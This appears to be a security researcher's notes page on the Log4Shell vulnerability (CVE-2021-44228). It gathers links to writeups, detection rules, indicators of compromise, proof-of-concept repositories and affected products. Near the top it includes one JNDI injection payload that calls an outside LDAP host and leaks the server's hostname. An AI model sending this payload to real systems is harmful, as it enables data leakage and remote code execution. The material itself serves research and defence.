# Log4J

#### Log4j

<https://pentesterlab.com/exercises/log4j_rce/course>\
<https://github.com/christophetd/log4shell-vulnerable-app>\
<http://www.dnslog.cn/>\
<https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce>\
<https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j>\
<https://www.lunasec.io/docs/blog/log4j-zero-day/>

And a programmer might not even know that this vulnerability exists in their code because they might be using some other library that depends on the log4j library.

${jndi:ldap\://${hostName}.io}

\\

**Summary/Writeups:**

* [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)

* \\

* [Vendor vulnerability notification](https://logging.apache.org/log4j/2.x/security.html)

* \\

* [LunaSec Writeup](https://www.lunasec.io/docs/blog/log4j-zero-day/) (this submission)

* \\

* [Randori Writeup](https://www.randori.com/blog/cve-2021-44228/)

* \\

* [Cloudflare Writeup](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/) (CF WAF customers are [protected](https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/))

* \\

* [Fastly Writeup](https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j) (Fastly WAF customers must enable a rule)

* \\

**Validation & Detection:**

* [Semgrep rules for searching source code](https://semgrep.dev/r?q=log4j-message-lookup-injection)

* \\

* [Sourcegraph queries for searching source code](https://twitter.com/beyang/status/1469171471784329219)

* \\

* [YARA and grep rules for blue teams](https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b) (see comments for nuances)

* \\

* [ET Labs releases out of band rules for Snort and Suricata](https://twitter.com/ET_Labs/status/1469339963871354884)

* \\

* [Zeek detection logic](https://github.com/nturley3/zeek-http-rce/commit/2eb8d117a4bec772aeb7e6139893fda8d557dfbf)

* \\

* [Use CanaryTokens to test services for vulnerability](https://twitter.com/cyb3rops/status/1469405846010572816)

* \\

* [Rules for Burp Suite ActiveScan++](https://github.com/PortSwigger/active-scan-plus-plus/commit/b485a0744140533d877ce244603502b42f9c6656)

* \\

* [Crowdstrike Threat Hunt Queries](https://www.reddit.com/r/crowdstrike/comments/rda0ls/20211210_cool_query_friday_hunting_apache_log4j)

* \\

**Indicators of Compromise:**

* [Hashes for known vulnerable versions of log4j libraries](https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes)

* \\

* [Atomic IoCs seen performing mass exploitation](https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217) (mostly tor exit nodes)

* \\

* [Get updated lists from GreyNoise API](https://twitter.com/GreyNoiseIO/status/1469376088740667395)

* \\

* \\

**Proof of Concept:**

* [Proof of Concept](https://github.com/xiajun325/apache-log4j-rce-poc)

* \\

* [Evidence that attackers have had a working exploit since at least April](https://github.com/nice0e3/log4j_POC)

* \\

**Reported Impacts:**

* [VCenter Server uses log4j and is vulnerable](https://twitter.com/tnpitsecurity/status/1469429810216771589)

* \\

* [Ubiquiti Unifi (UDM, UDMP, Cloudkey, Unifi Controller)](https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1)

* \\

* [Palo Alto Panorama](https://docs.paloaltonetworks.com/oss-listings/panorama-oss-listings/panorama-10-1-open-source-software-oss-listing.html) (unconfirmed)

* \\

* [QRadar SIEM](https://www.ibm.com/mysupport/s/question/0D50z00006PEIeQCAX/qradar-qradarlog-and-qradarerror-slf4j-this-version-of-slf4j-requires-log4j-version-1212-or-later?language=en_US) (unconfirmed)

* \\

* Some of the above sourced from [this impact repo](https://github.com/YfryTchsGD/Log4jAttackSurface).

* \\

**Misc:**

* [Excellent thread over at /r/blueteamsec](https://www.reddit.com/r/blueteamsec/comments/rd38z9/log4j_0day_being_exploited/)

* \\

* [Hacker News thread](https://news.ycombinator.com/item?id=29504755)

* \\

* [Exploit can leak server side variables](https://twitter.com/_StaticFlow_/status/1469358229767475205)

* \\

* [Apache github PR with some discussion](https://github.com/apache/logging-log4j2/pull/608)

* \\

* [Possibility that v1.X series is affected](https://github.com/apache/logging-log4j2/pull/608#issuecomment-990499954) (unconfirmed)?

* \\

* \\

* [Possibility that ](https://twitter.com/PhreakingGeek/status/1469434794610200580)[`iiop://`](https://twitter.com/PhreakingGeek/status/1469434794610200580)[ and related CORBA protocols are vulnerable](https://twitter.com/PhreakingGeek/status/1469434794610200580) (unconfirmed)?

* \\

\\
